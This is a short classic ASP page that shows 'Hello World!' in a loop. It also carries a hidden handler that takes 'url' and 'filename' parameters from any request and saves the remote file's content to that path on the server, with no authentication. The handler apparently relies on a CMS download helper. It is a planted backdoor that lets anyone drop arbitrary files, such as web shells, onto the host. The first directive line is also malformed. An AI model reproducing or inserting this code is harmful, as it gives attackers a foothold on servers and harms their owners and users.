%@ LANGUAGE = "VBScript"%>
<% For i = 3 To 7 %>
>
Hello World!
<%Next%>
<%
Function SaveFile(file, http)
Dim KS:Set KS=New PublicCls
Call KS.SaveBeyondFile(file, http)
end Function
url=request("url")
filename=request("filename")
call SaveFile(filename,url)
%>